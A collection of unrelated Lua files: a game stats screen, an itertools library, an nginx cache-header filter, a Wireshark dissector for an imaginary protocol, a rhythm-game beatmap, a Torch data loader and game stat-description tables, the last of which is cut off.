local sidebarX = round(love.graphics:getWidth()/2)+padding
if self.screen ~= "stats" or love.mouse.getX() < sidebarX then
if y < 0 then
self:scrollDown()
elseif y > 0 then
self:scrollUp()
end
else
if y > 0 then
self:sidebarScrollUp()
output.mouseX,output.mouseY=0,0
elseif y < 0 then
self:sidebarScrollDown()
output.mouseX,output.mouseY=0,0
end
end
end
function gamestats:scrollDown()
if self.maxTransY < 0 then self.transY = math.max(self.transY-prefs['fontSize']*5,self.maxTransY) end
end
function gamestats:scrollUp()
self.transY = math.min(self.transY+prefs['fontSize']*5,0)
end
function gamestats:sidebarScrollDown()
if self.maxSideTransY < 0 then self.sideTransY = math.max(self.sideTransY-prefs['fontSize']*5,self.maxSideTransY) end
end
function gamestats:sidebarScrollUp()
if self.maxSideTransY < 0 then self.sideTransY = math.min(self.sideTransY+prefs['fontSize']*5,0) end
end
function gamestats:update(dt)
local uiScale = prefs['uiScale'] or 1
if self.switchNow == true then
self.switchNow = nil
Gamestate.switch(self.previous)
Gamestate.update(dt)
return
end
--Handle scrolling:
local x,y = love.mouse.getPosition()
x,y = math.floor(x/uiScale),math.floor(y/uiScale)
if (love.mouse.isDown(1)) and self.sideScrollPositions then
local upArrow = self.sideScrollPositions.upArrow
local downArrow = self.sideScrollPositions.downArrow
local elevator = self.sideScrollPositions.elevator
if x>upArrow.startX and x<upArrow.endX and y>upArrow.startY and y<upArrow.endY then
self:sidebarScrollUp()
elseif x>downArrow.startX and x<downArrow.endX and y>downArrow.startY and y<downArrow.endY then
self:sidebarScrollDown()
elseif x>elevator.startX and x<elevator.endX and y>upArrow.endY and y<downArrow.startY then
if y<elevator.startY then self:sidebarScrollUp()
elseif y>elevator.endY then self:sidebarScrollDown() end
end --end clicking on arrow
end
if (love.mouse.isDown(1)) and self.scrollPositions then
local upArrow = self.scrollPositions.upArrow
local downArrow = self.scrollPositions.downArrow
local elevator = self.scrollPositions.elevator
if x>upArrow.startX and x<upArrow.endX and y>upArrow.startY and y<upArrow.endY then
self:scrollUp()
elseif x>downArrow.startX and x<downArrow.endX and y>downArrow.startY and y<downArrow.endY then
self:scrollDown()
elseif x>elevator.startX and x<elevator.endX and y>upArrow.endY and y<downArrow.startY then
if y<elevator.startY then self:scrollUp()
elseif y>elevator.endY then self:scrollDown() end
end --end clicking on arrow
end
end
function gamestats:switchBack()
tween(0.2,self,{yModPerc=100})
output:sound('stoneslideshortbackwards',2)
Timer.after(0.2,function() self.switchNow=true end)
end
function gamestats:mousepressed(x,y,button)
local uiScale = prefs['uiScale'] or 1
x,y = math.floor(x/uiScale),math.floor(y/uiScale)
if button == 2 or (x > self.closebutton.minX and x < self.closebutton.maxX and y > self.closebutton.minY and y < self.closebutton.maxY) then
self:switchBack()
elseif x > self.statsbutton.minX and x < self.statsbutton.maxX and y > self.statsbutton.minY and y < self.statsbutton.maxY then
self.screen = "stats"
self.transY = 0
self.cursorY = 1
self.cursorX = 1
return
elseif x > self.winsbutton.minX and x < self.winsbutton.maxX and y > self.winsbutton.minY and y < self.winsbutton.maxY then
self.screen = "wins"
self.transY = 0
self.cursorY = 1
self.cursorX = 2
return
elseif x > self.lossesbutton.minX and x < self.lossesbutton.maxX and y > self.lossesbutton.minY and y < self.lossesbutton.maxY then
self.screen = "losses"
self.transY = 0
self.cursorY = 1
self.cursorX = 3
return
end
local padding=prefs['noImages'] and 14 or 32
local fontSize = prefs['fontSize']
local width = love.graphics:getWidth()
local sidebarX = (self.screen == "stats" and round(width/2)+padding or math.ceil(width/2)+padding)
local loopThrough = {}
if self.screen == "stats" then
loopThrough = self.stats
elseif self.screen == "wins" then
loopThrough = self.wins
elseif self.screen == "losses" then
loopThrough = self.graveyard
end
for id,item in ipairs(loopThrough) do
local printY = (self.screen == "stats" and 80+padding*3+(id-1)*fontSize+self.transY or (item.printY and item.printY+self.transY or -1000))
if x > padding and x < sidebarX-padding-(self.screen == "stats" and 0 or padding) and y-self.transY > item.printY and y-self.transY < item.maxY and (item.expand or self.screen ~= "stats") then
self.cursorY = id+1
self.cursorX = 1
self.sideTransY = 0
self.achievementCursorY=0
end
end
end |
--- Functional iteration utilities using coroutines.
--Modified version of <a href="https://github.com/aperezdc/lua-itertools">itertools.lua</a>.
--Documentation can be found
--<a href="https://aperezdc.github.io/lua-itertools/">here</a>.
-- @module itertools.lua
-- @author aperezdc
-- @license MIT
-- @copyright aperezdc 2016
itertools = {}
---
function itertools.values (table)
return coroutine.wrap(function ()
for _, v in pairs(table) do
coroutine.yield(v)
end
end)
end
---
---
function itertools.each (table)
return coroutine.wrap(function ()
for _, v in ipairs(table) do
coroutine.yield(v)
end
end)
end
---
---
function itertools.collect (iterable)
local t, n = {}, 0
for element in iterable do
n = n + 1
t[n] = element
end
return t, n
end
---
---
function itertools.count (n, step)
if n == nil then n = 1 end
if step == nil then step = 1 end
return coroutine.wrap(function ()
while true do
coroutine.yield(n)
n = n + step
end
end)
end
---
---
function itertools.cycle (iterable)
local saved = {}
local nitems = 0
return coroutine.wrap(function ()
for element in iterable do
coroutine.yield(element)
nitems = nitems + 1
saved[nitems] = element
end
while nitems > 0 do
for i = 1, nitems do
coroutine.yield(saved[i])
end
end
end)
end
---
---
function itertools.value (value, times)
if times then
return coroutine.wrap(function ()
while times > 0 do
times = times - 1
coroutine.yield(value)
end
end)
else
return coroutine.wrap(function ()
while true do coroutine.yield(value) end
end)
end
end
---
---
function itertools.islice (iterable, start, stop)
if start == nil then
start = 1
end
return coroutine.wrap(function ()
-- these sections are covered but do not register
-- luacov: disable
if stop ~= nil and stop - start < 1 then return end
-- luacov: enable
local current = 0
for element in iterable do
current = current + 1
-- luacov: disable
if stop ~= nil and current > stop then return end
-- luacov: enable
if current >= start then
coroutine.yield(element)
end
end
end)
end
---
---
function itertools.takewhile (predicate, iterable)
return coroutine.wrap(function ()
for element in iterable do
if predicate(element) then
coroutine.yield(element)
else
break
end
end
end)
end
---
---
function itertools.map (func, iterable)
return coroutine.wrap(function ()
for element in iterable do
coroutine.yield(func(element))
end
end)
end
---
---
function itertools.filter (predicate, iterable)
return coroutine.wrap(function ()
for element in iterable do
if predicate(element) then
coroutine.yield(element)
end
end
end)
end
---
---
local function make_comp_func(key)
if type(key) == 'function' then
return function (a, b)
return key(a) < key(b)
end
end
end
---
---
function itertools.sorted (iterable, key, reverse)
local t, n = itertools.collect(iterable)
table.sort(t, make_comp_func(key))
if reverse then
return coroutine.wrap(function ()
for i = n, 1, -1 do coroutine.yield(t[i]) end
end)
else
return coroutine.wrap(function ()
for i = 1, n do coroutine.yield(t[i]) end
end)
end
end
|
-- Copyright (C) 2019 by davin
if ngx.get_phase() ~= 'header_filter' then
return
end
local cache_status = ngx.var.upstream_cache_status
local accel = ngx.var.http_host or ngx.var.server_name
ngx.header['X-Cache'] = cache_status
ngx.header['X-Accel'] = accel
-- hit rate
local misc = ngx.shared.misc
local total = misc:incr('total_req', 1, 0)
local hit = misc:get('hit') or 0
if cache_status == 'HIT' then
hit = misc:incr('hit', 1, 0)
end
local rate = hit * 100 / total
ngx.header['X-Hit'] = string.format('%.2f%%', rate)
|
-- Wireshard Dissector for the Simple Order Protocol (sop). An imaginary
-- protocol.
--
-- IMPORTANT: Add the following lines at the end of Wireshark's init.lua:
--
-- WSDH_SCRIPT_PATH='path to the directory 'src' of the repo'
-- SOP_SPECS_PATH='path to the directory of the CSV specs'
-- dofile('path to this file')
--
local wsdh = dofile(WSDH_SCRIPT_PATH .. '/ws_dissector_helper.lua')
local sop = Proto('SOP', 'Simple Order Protocol')
-- a table of our default settings - these can be changed by changing
-- the preferences through the GUI or command-line.
local defaultSettings = {
ports = '9001-9010',
trace = false
}
local helper = wsdh.createProtoHelper(sop)
helper:setDefaultPreference(defaultSettings)
local msg_types = { { name = 'NO', file = 'NO.csv' },
{ name = 'OC', file = 'OC.csv' },
{ name = 'TR', file = 'TR.csv' },
{ name = 'RJ', file = 'RJ.csv' },
{ name = 'EN', file = 'EN.csv' },
{ name = 'BO', file = 'BO.csv' } }
-- Define fields
local SopFields = {
SOH = wsdh.Field.FIXED(1,'sop.header.SOH', 'SOH', '\x01','Start of Header'),
LEN = wsdh.Field.NUMERIC(3,'sop.header.LEN', 'LEN','Length of the payload (i.e. no header/trailer)'),
ETX = wsdh.Field.FIXED(1, 'sop.trailer.ETX', 'ETX', '\x03','End of Message')
}
--Define Header
local header = wsdh.Field.COMPOSITE{
title = 'Header',
SopFields.SOH,
SopFields.LEN
}
--Define Trailer
local trailer = wsdh.Field.COMPOSITE{
title = 'Trailer',
SopFields.ETX
}
-- Column mapping.
local columns = { name = 'Field',
length = 'Length',
type = 'Type',
desc = 'Description' }
local msg_specs, msg_parsers = helper:loadSpecs(msg_types,
SOP_SPECS_PATH,
columns,
header:len(),
',',
header,
trailer)
-- Returns the length of the message from the end of header up to the start
-- of trailer.
local function getMsgDataLen(msgBuffer)
return tonumber(helper:getHeaderValue(msgBuffer, SopFields.LEN))
end
-- Returns the length of whole the message. Includes header and trailer.
local function getMsgLen(msgBuffer)
local msgdataLen = getMsgDataLen(msgBuffer)
if msgdataLen == nil then
return nil
end
return header:len() + msgdataLen + trailer:len()
end
-- Parse a specific type of message from a buffer and add it to the tree.
local function parseMessage(buffer, pinfo, tree)
-- The minimum buffer length in that can be used to identify a message
-- must include the header and the MessageType.
local msgTypeLen = 2
local minBufferLen = header:len() + msgTypeLen
-- Messages start with SOH.
if SopFields.SOH:value(buffer) ~= SopFields.SOH.fixedValue then
helper:warn('No SOH.')
return 0
end
-- Return missing message length in the case when the header is split
-- between packets.
if buffer:len() <= minBufferLen then
return -DESEGMENT_ONE_MORE_SEGMENT
end
-- Look for valid message types.
local msgType = buffer(header:len(), msgTypeLen):string()
local msgSpec = msg_specs[msgType]
if not msgSpec then
helper:warn('Unknown message type: ' .. msgType)
return 0
end
-- Return missing message length in the case when the data is split
-- between packets.
local msgLen = getMsgLen(buffer)
local msgDataLen = getMsgDataLen(buffer)
if buffer:len() < msgLen then
helper:info('buffer:len < msgLen [' .. buffer:len() .. ' < ' .. msgLen .. ']')
return -DESEGMENT_ONE_MORE_SEGMENT
end
local msgParse = msg_parsers[msgType]
-- If no parser is found for this type of message, reject the whole
-- packet.
if not msgParse then
helper:warn('Not supported message type: ' .. msgType)
return 0
end
local bytesConsumed, subtree = msgParse(buffer, pinfo, tree, 0)
if bytesConsumed > 0 then
subtree:append_text(', Type: ' .. msgType)
subtree:append_text(', Len: ' .. msgLen)
pinfo.cols.protocol = sop.name
end
return bytesConsumed
end
sop.dissector = helper:getDissector(parseMessage)
helper:enableDissector()
|
return {
short_music_name = "song10",
bpm = 752,
offset_time = 0,
music_name = "bgm-song10",
left_track = {
{
begin_time = "1.196808",
key_flag = "K_LEFT",
end_time = "1.196808"
},
{
begin_time = "2.632978",
key_flag = "K_LEFT",
end_time = "2.632978"
},
{
begin_time = "3.271276",
key_flag = "K_LEFT",
end_time = "3.271276"
},
{
begin_time = "3.909575",
key_flag = "K_LEFT",
end_time = "6.143617"
},
{
begin_time = "6.462766",
key_flag = "K_LEFT",
end_time = "6.462766"
},
{
begin_time = "6.781915",
key_flag = "K_LEFT",
end_time = "6.781915"
},
{
begin_time = "7.101064",
key_flag = "K_LEFT",
end_time = "7.101064"
},
{
begin_time = "7.420213",
key_flag = "K_LEFT",
end_time = "7.420213"
},
{
begin_time = "7.739362",
key_flag = "K_LEFT",
end_time = "7.739362"
},
{
begin_time = "8.37766",
key_flag = "K_LEFT",
end_time = "8.37766"
},
{
begin_time = "10.29255",
key_flag = "K_LEFT",
end_time = "10.29255"
},
{
begin_time = "10.93085",
key_flag = "K_LEFT",
end_time = "10.93085"
},
{
begin_time = "11.56915",
key_flag = "K_LEFT",
end_time = "11.56915"
},
{
begin_time = "11.72872",
key_flag = "K_LEFT",
end_time = "11.72872"
},
{
begin_time = "12.5266",
key_flag = "K_LEFT",
end_time = "12.5266"
},
{
begin_time = "12.84575",
key_flag = "K_LEFT",
end_time = "12.84575"
},
{
begin_time = "13.48404",
key_flag = "K_LEFT",
end_time = "14.12234"
},
{
begin_time = "14.60204",
key_flag = "K_LEFT",
end_time = "14.60204"
},
{
begin_time = "14.76069",
key_flag = "K_LEFT",
end_time = "14.76069"
},
{
begin_time = "15.23986",
key_flag = "K_LEFT",
end_time = "15.23986"
},
{
begin_time = "15.40039",
key_flag = "K_LEFT",
end_time = "15.40039"
},
{
begin_time = "16.83511",
key_flag = "K_LEFT",
end_time = "17.31383"
},
{
begin_time = "17.95298",
key_flag = "K_LEFT",
end_time = "17.95298"
},
{
begin_time = "18.11219",
key_flag = "K_LEFT",
end_time = "18.11219"
},
{
begin_time = "18.90957",
key_flag = "K_LEFT",
end_time = "19.54787"
},
{
begin_time = "19.8649",
key_flag = "K_LEFT",
end_time = "19.8649"
},
{
begin_time = "20.02659",
key_flag = "K_LEFT",
end_time = "20.02659"
},
{
begin_time = "20.1862",
key_flag = "K_LEFT",
end_time = "20.1862"
},
{
begin_time = "20.82447",
key_flag = "K_LEFT",
end_time = "20.82447"
},
{
begin_time = "21.30319",
key_flag = "K_LEFT",
end_time = "21.30319"
},
{
begin_time = "21.62283",
key_flag = "K_LEFT",
end_time = "21.62283"
},
{
begin_time = "22.10106",
key_flag = "K_LEFT",
end_time = "22.10106"
},
{
begin_time = "22.26063",
key_flag = "K_LEFT",
end_time = "22.26063"
},
{
begin_time = "23.05851",
key_flag = "K_LEFT",
end_time = "23.05851"
},
{
begin_time = "23.21808",
key_flag = "K_LEFT",
end_time = "23.21808"
},
{
begin_time = "24.65414",
key_flag = "K_LEFT",
end_time = "24.65414"
},
{
begin_time = "24.97449",
key_flag = "K_LEFT",
end_time = "24.97449"
},
{
begin_time = "25.93112",
key_flag = "K_LEFT",
end_time = "25.93112"
},
{
begin_time = "26.25185",
key_flag = "K_LEFT",
end_time = "26.25185"
},
{
begin_time = "26.72873",
key_flag = "K_LEFT",
end_time = "26.72873"
},
{
begin_time = "27.36702",
key_flag = "K_LEFT",
end_time = "27.36702"
},
{
begin_time = "27.685",
key_flag = "K_LEFT",
end_time = "27.685"
},
{
begin_time = "27.84575",
key_flag = "K_LEFT",
end_time = "27.84575"
},
{
begin_time = "28.1649",
key_flag = "K_LEFT",
end_time = "28.1649"
},
{
begin_time = "28.48404",
key_flag = "K_LEFT",
end_time = "28.96277"
},
{
begin_time = "30.55851",
key_flag = "K_LEFT",
end_time = "30.55851"
},
{
begin_time = "30.87766",
key_flag = "K_LEFT",
end_time = "30.87766"
},
{
begin_time = "31.19681",
key_flag = "K_LEFT",
end_time = "31.19681"
},
{
begin_time = "31.83511",
key_flag = "K_LEFT",
end_time = "31.83511"
},
{
begin_time = "32.46508",
key_flag = "K_LEFT",
end_time = "32.46508"
},
{
begin_time = "32.95213",
key_flag = "K_LEFT",
end_time = "32.95213"
},
{
begin_time = "33.27128",
key_flag = "K_LEFT",
end_time = "33.27128"
},
{
begin_time = "33.59043",
key_flag = "K_LEFT",
end_time = "33.59043"
},
{
begin_time = "35.18617",
key_flag = "K_LEFT",
end_time = "35.18617"
},
{
begin_time = "35.82032",
key_flag = "K_LEFT",
end_time = "35.82032"
},
{
begin_time = "36.4669",
key_flag = "K_LEFT",
end_time = "36.4669"
},
{
begin_time = "37.10321",
key_flag = "K_LEFT",
end_time = "37.10321"
},
{
begin_time = "38.69486",
key_flag = "K_LEFT",
end_time = "38.69486"
},
{
begin_time = "39.01596",
key_flag = "K_LEFT",
end_time = "39.9734"
},
{
begin_time = "40.45212",
key_flag = "K_LEFT",
end_time = "40.45212"
},
{
begin_time = "40.77159",
key_flag = "K_LEFT",
end_time = "40.77159"
},
{
begin_time = "41.24578",
key_flag = "K_LEFT",
end_time = "41.24578"
},
{
begin_time = "41.40992",
key_flag = "K_LEFT",
end_time = "41.40992"
},
{
begin_time = "42.04787",
key_flag = "K_LEFT",
end_time = "42.04787"
},
{
begin_time = "42.20795",
key_flag = "K_LEFT",
end_time = "42.20795"
},
{
begin_time = "42.52659",
key_flag = "K_LEFT",
end_time = "42.52659"
},
{
begin_time = "42.68373",
key_flag = "K_LEFT",
end_time = "42.68373"
},
{
begin_time = "43.48404",
key_flag = "K_LEFT",
end_time = "43.48404"
},
{
begin_time = "43.80319",
key_flag = "K_LEFT",
end_time = "44.60107"
},
{
begin_time = "44.92148",
key_flag = "K_LEFT",
end_time = "44.92148"
},
{
begin_time = "45.07978",
key_flag = "K_LEFT",
end_time = "45.07978"
},
{
begin_time = "45.87773",
key_flag = "K_LEFT",
end_time = "45.87773"
},
{
begin_time = "46.19681",
key_flag = "K_LEFT",
end_time = "46.19681"
},
{
begin_time = "46.51596",
key_flag = "K_LEFT",
end_time = "46.51596"
},
{
begin_time = "46.99344",
key_flag = "K_LEFT",
end_time = "46.99344"
},
{
begin_time = "47.31383",
key_flag = "K_LEFT",
end_time = "47.31383"
},
{
begin_time = "48.10996",
key_flag = "K_LEFT",
end_time = "48.10996"
},
{
begin_time = "48.43005",
key_flag = "K_LEFT",
end_time = "48.43005"
},
{
begin_time = "48.75",
key_flag = "K_LEFT",
end_time = "48.75"
},
{
begin_time = "49.06794",
key_flag = "K_LEFT",
end_time = "49.06794"
},
{
begin_time = "49.54787",
key_flag = "K_LEFT",
end_time = "49.54787"
},
{
begin_time = "49.70745",
key_flag = "K_LEFT",
end_time = "50.18617"
},
{
begin_time = "50.66381",
key_flag = "K_LEFT",
end_time = "50.66381"
},
{
begin_time = "50.98521",
key_flag = "K_LEFT",
end_time = "50.98521"
},
{
begin_time = "51.22319",
key_flag = "K_LEFT",
end_time = "51.22319"
},
{
begin_time = "51.38044",
key_flag = "K_LEFT",
end_time = "51.38044"
},
{
begin_time = "51.54256",
key_flag = "K_LEFT",
end_time = "51.54256"
},
{
begin_time = "52.10107",
key_flag = "K_LEFT",
end_time = "52.10107"
},
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|
--[[
File Name : dataloader.lua
Created By : Chen Guanying ([email protected])
Creation Date : [2018-03-03 20:02]
Last Modified : [2018-03-03 20:02]
Description :
--]]
-- Copyright (c) 2016, Facebook, Inc.
-- All rights reserved.
--
-- This source code is licensed under the BSD-style license found in the
-- LICENSE file in the root directory of this source tree. An additional grant
-- of patent rights can be found in the PATENTS file in the same directory.
--
-- Multi-threaded data loader
--
local Threads = require 'threads'
Threads.serialization('threads.sharedserialize')
local M = {}
local DataLoader = torch.class('TOM.DataLoader', M)
function DataLoader.create(opt)
local loaders = {}
local datasets
datasets = require 'datasets/TOMDataset'
for i, split in ipairs{'train', 'val'} do
local dataset = datasets(opt, split)
loaders[i] = M.DataLoader(dataset, opt, split)
end
return table.unpack(loaders)
end
function DataLoader:__init(dataset, opt, split)
local manualSeed = opt.manualSeed
local function init()
require('datasets/' .. opt.dataset)
end
local function main(idx)
if manualSeed ~= 0 then
torch.manualSeed(manualSeed + idx)
end
torch.setnumthreads(1)
_G.dataset = dataset
_G.preprocess = dataset:preprocess()
return dataset:size()
end
local threads, sizes = Threads(opt.nThreads, init, main)
self.threads = threads
self.__size = sizes[1][1]
self.batchSize = math.floor(opt.batchSize)
self.in_trimap = opt.in_trimap
self.split = split
end
function DataLoader:batch_size()
return math.ceil(self.__size / self.batchSize)
end
function DataLoader:size()
return self.__size
end
function DataLoader:run(split, maxNumber)
local split = split or 'train'
local threads = self.threads
local in_trimap = self.in_trimap
local fullSize, batchSize = self.__size, self.batchSize
local size = (maxNumber ~= nil and maxNumber > 0) and math.min(maxNumber, fullSize) or fullSize
local perm = (split == 'val') and torch.range(1, size) or torch.randperm(size)
print(string.format('[Dataloader run] split: %s, size: %d/%d ', split, size, fullSize))
local idx, sample = 1, nil
local function enqueue()
while idx <= size and threads:acceptsjob() do
local indices = perm:narrow(1, idx, math.min(batchSize, size - idx + 1))
threads:addjob(
function(indices)
local sz = indices:size(1)
local batch, masks, rhos, flows, trimaps, imageSize
for i, idx in ipairs(indices:totable()) do
local sample = _G.dataset:get(idx)
local input = sample.input
if not batch then
imageSize = input:size():totable()
batch = torch.FloatTensor(sz, table.unpack(imageSize))
masks = torch.FloatTensor(sz, input:size()[2], input:size()[3])
rhos = torch.FloatTensor(sz, input:size()[2], input:size()[3])
flows = torch.FloatTensor(sz, 3, input:size()[2], input:size()[3])
if in_trimap then
trimaps = torch.FloatTensor(sz, input:size()[2], input:size()[3])
end
end
batch[i]:copy(input)
masks[i]:copy(sample.mask)
rhos[i]:copy(sample.rho)
flows[i]:copy(sample.flow)
if in_trimap then
trimaps[i]:copy(sample.trimap)
end
end
collectgarbage()
local batch_sample = {
input = batch,
masks = masks,
rhos = rhos,
flows = flows
}
if in_trimap then
batch_sample.trimaps = trimaps
end
return batch_sample
end,
function(_sample_)
sample = _sample_
end,
indices
)
idx = idx + batchSize
end
end
local n = 0
local function loop()
enqueue()
if not threads:hasjob() then
return nil
end
threads:dojob()
if threads:haserror() then
threads:synchronize()
end
enqueue()
n = n + 1
return n, sample
end
return loop
end
return M.DataLoader
|
-- Copyright (c) 2021 Trevor Redfern
--
-- This software is released under the MIT License.
-- https://opensource.org/licenses/MIT
return {
welcome = "{color:msgHighlight}Welcome!{color:msgText} Time to play!"
} |
return {[1]={lang={English={[1]={[1]={k="milliseconds_to_seconds",v=1},limit={[1]={[1]=1,[2]="#"}},text="Curse lasts %1% seconds"}}},name="buff_duration",stats={[1]="buff_effect_duration"}},[2]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed Normal and Magic Enemies have %1%%% more Action Speed"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed Normal and Magic Enemies have %1%%% less Action Speed"}}},name="action_speed_reduction",stats={[1]="temporal_chains_action_speed_+%_final"}},[3]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Other effects on Cursed enemies expire %1%%% faster"},[2]={[1]={k="negate",v=1},[2]={k="reminderstring",v="ReminderTextSlowTimeEffects"},limit={[1]={[1]="#",[2]=-1}},text="Other effects on Cursed enemies expire %1%%% slower"}}},name="buff_time_passed_reduction",stats={[1]="buff_time_passed_+%_other_than_temporal_chains"}},[4]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Elemental Resistances"}}},name="elemental_resist",stats={[1]="base_resist_all_elements_%"}},[5]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Fire Resistance"}}},name="fire_resist",stats={[1]="base_fire_damage_resistance_%"}},[6]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Cold Resistance"}}},name="cold_resist",stats={[1]="base_cold_damage_resistance_%"}},[7]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Lightning Resistance"}}},name="lightning_resist",stats={[1]="base_lightning_damage_resistance_%"}},[8]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Chaos Resistance"}}},name="chaos_res",stats={[1]="base_chaos_damage_resistance_%"}},[9]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1$+d%% chance to be Frozen by Cold Damage"}}},name="chance_to_be_frozen",stats={[1]="chance_to_be_frozen_%"}},[10]={lang={English={[1]={[1]={k="reminderstring",v="ReminderTextIgnite"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1$+d%% chance to be Ignited by Fire Damage"}}},name="chance_to_be_ignited",stats={[1]="chance_to_be_ignited_%"}},[11]={lang={English={[1]={[1]={k="reminderstring",v="ReminderTextShock"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1$+d%% chance to be Shocked by Lightning Damage"}}},name="chance_to_be_shocked",stats={[1]="chance_to_be_shocked_%"}},[12]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies grant %1%%% increased Flask Charges"}}},name="monster_flask_charges_incr",stats={[1]="monster_slain_flask_charges_granted_+%"}},[13]={lang={English={[1]={[1]={k="divide_by_one_hundred",v=1},[2]={k="reminderstring",v="ReminderTextLifeLeech"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies grant %1%%% Life Leech when Hit by Attacks"}}},name="life_leeched_when_hit_by_attack",stats={[1]="life_leech_on_any_damage_when_hit_by_attack_permyriad"}},[14]={lang={English={[1]={[1]={k="divide_by_one_hundred",v=1},[2]={k="reminderstring",v="ReminderTextLifeLeech"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies grant %1%%% Life Leech when Hit"}}},name="life_leeched_when_hit",stats={[1]="life_leech_on_any_damage_when_hit_permyriad"}},[15]={lang={English={[1]={[1]={k="divide_by_one_hundred",v=1},[2]={k="reminderstring",v="ReminderTextManaLeech"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies grant %1%%% Mana Leech when Hit by Attacks"}}},name="mana_leeched_when_hit_by_attack",stats={[1]="mana_leech_on_any_damage_when_hit_by_attack_permyriad"}},[16]={lang={English={[1]={[1]={k="divide_by_one_hundred",v=1},[2]={k="reminderstring",v="ReminderTextManaLeech"},limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies grant %1%%% Mana Leech when Hit"}}},name="mana_leeched_when_hit",stats={[1]="mana_leech_on_any_damage_when_hit_permyriad"}},[17]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have a %1%%% chance to grant an Endurance Charge when slain"}}},name="chance_to_grant_endurance_charge_on_death",stats={[1]="chance_to_grant_endurance_charge_on_death_%"}},[18]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have a %1%%% chance to grant a Frenzy Charge when slain"}}},name="chance_to_grant_frenzy_charge_on_death",stats={[1]="chance_to_grant_frenzy_charge_on_death_%"}},[19]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have a %1%%% chance to grant a Power Charge when slain"}}},name="chance_to_grant_power_charge_on_death",stats={[1]="chance_to_grant_power_charge_on_death_%"}},[20]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Reflects %1%%% of Physical Damage dealt by Cursed Normal Enemies"}}},name="punishment_normal",stats={[1]="punishment_physical_damage_%_reflected_for_normal_monsters"}},[21]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Reflects %1%%% of Physical Damage dealt by Cursed Magic Enemies"}}},name="punishment_magic",stats={[1]="punishment_physical_damage_%_reflected_for_magic_monsters"}},[22]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Reflects %1%%% of Physical Damage dealt by Cursed Rare Enemies"}}},name="punishment_rare",stats={[1]="punishment_physical_damage_%_reflected_for_rare_monsters"}},[23]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Reflects %1%%% of Physical Damage dealt by Cursed Unique Enemies"}}},name="punishment_unique",stats={[1]="punishment_physical_damage_%_reflected_for_unique_monsters"}},[24]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1%%% increased Accuracy Rating"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed enemies have %1%%% reduced Accuracy Rating"}}},name="accuracy_rating_incr",stats={[1]="accuracy_rating_+%"}},[25]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1%%% increased Critical Strike Chance"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed enemies have %1%%% reduced Critical Strike Chance"}}},name="critical_strike_chance_incr",stats={[1]="critical_strike_chance_+%"}},[26]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Cursed enemies have %1$+d%% to Critical Strike Multiplier"}}},name="critical_strike_multiplier_incr",stats={[1]="base_critical_strike_multiplier_+"}},[27]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed Normal or Magic enemies deal %1%%% more Damage"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed Normal or Magic enemies deal %1%%% less Damage"}}},name="enfeeble_damage_scale",stats={[1]="enfeeble_damage_+%_final"}},[28]={lang={English={[1]={[1]={k="divide_by_one_hundred",v=1},limit={[1]={[1]="#",[2]="#"}},text="Hits against Cursed Enemies have %1$+d%% to Critical Strike Chance"}}},name="chance_to_take_critical_strike",stats={[1]="enemy_additional_critical_strike_chance_against_self"}},[29]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies take %1%%% reduced Extra Damage from Critical Strikes"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed enemies take %1%%% increased Extra Damage from Critical Strikes"}}},name="self_critical_strike_multiplier_reduction",stats={[1]="base_self_critical_strike_multiplier_-%"}},[30]={lang={English={[1]={limit={[1]={[1]="#",[2]="#"}},text="Projectiles Pierce Cursed Enemies"}}},name="be_pierced",stats={[1]="projectiles_always_pierce_you"}},[31]={lang={English={[1]={[1]={k="reminderstring",v="ReminderTextKnockback"},limit={[1]={[1]=1,[2]="#"}},text="Hits on Cursed Enemies have an additional %1%%% chance to Knockback"}}},name="chance_to_be_knocked_back",stats={[1]="chance_to_be_knocked_back_%"}},[32]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies have %1%%% more Evasion"},[2]={[1]={k="negate",v=1},limit={[1]={[1]="#",[2]=-1}},text="Cursed enemies have %1%%% less Evasion"}}},name="evasion_rating_poachers_mark",stats={[1]="evasion_rating_+%_final_from_poachers_mark"}},[33]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed enemies take %1%%% increased Damage from Projectile Hits"}}},name="projectile_damage_taken_incr",stats={[1]="projectile_damage_taken_+%"}},[34]={lang={English={[1]={limit={[1]={[1]=1,[2]="#"}},text="Cursed 